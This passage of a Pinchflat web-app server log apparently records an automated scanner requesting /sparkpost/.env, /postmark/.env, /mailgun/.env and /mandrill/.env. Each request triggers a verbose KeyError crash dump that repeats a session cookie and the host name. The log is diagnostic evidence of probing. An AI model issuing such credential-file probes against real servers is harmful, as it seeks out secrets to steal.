s0 LIMIT 1 [] 02:10:20.286 [debug] QUERY OK source="settings" db=0.1ms idle=132.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:20.286 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:20.287 [error] #PID<0.3470.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 166) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /sparkpost/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sparkpost/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sparkpost/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 166, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3470.0>, params: %{}, path_info: ["sparkpost", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/sparkpost/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk60kgH-bl1yoAASlB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sparkpost/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 166, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sparkpost/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sparkpost/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 166, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" (truncated) 02:10:20.347 [info] GET /postmark/.env 02:10:20.348 [debug] QUERY OK source="settings" db=0.2ms idle=193.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:20.348 [debug] QUERY OK source="settings" db=0.1ms idle=130.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:20.348 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:20.349 [error] #PID<0.3471.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 167) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /postmark/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /postmark/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/postmark/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 167, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3471.0>, params: %{}, path_info: ["postmark", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/postmark/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk60zXxdD_JjoAASmB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/postmark/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 167, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /postmark/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/postmark/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 167, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, (truncated) 02:10:20.415 [info] GET /mailgun/.env 02:10:20.416 [debug] QUERY OK source="settings" db=0.1ms idle=197.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:20.416 [debug] QUERY OK source="settings" db=0.0ms idle=130.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:20.416 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:20.416 [error] #PID<0.3472.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 168) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /mailgun/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /mailgun/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/mailgun/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 168, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3472.0>, params: %{}, path_info: ["mailgun", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/mailgun/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk61DsV1w3vDsAASnB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/mailgun/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 168, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /mailgun/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/mailgun/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 168, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, (truncated) 02:10:20.481 [info] GET /mandrill/.env 02:10:20.482 [debug] QUERY OK source="settings" db=0.4ms idle=195.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:20.482 [debug] QUERY OK source="settings" db=0.2ms idle=134.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:20.482 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:20.482 [error] #PID<0.3473.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 169) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /mandrill/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /mandrill/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/mandrill/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 169, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3473.0>, params: %{}, path_info: ["mandrill", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", 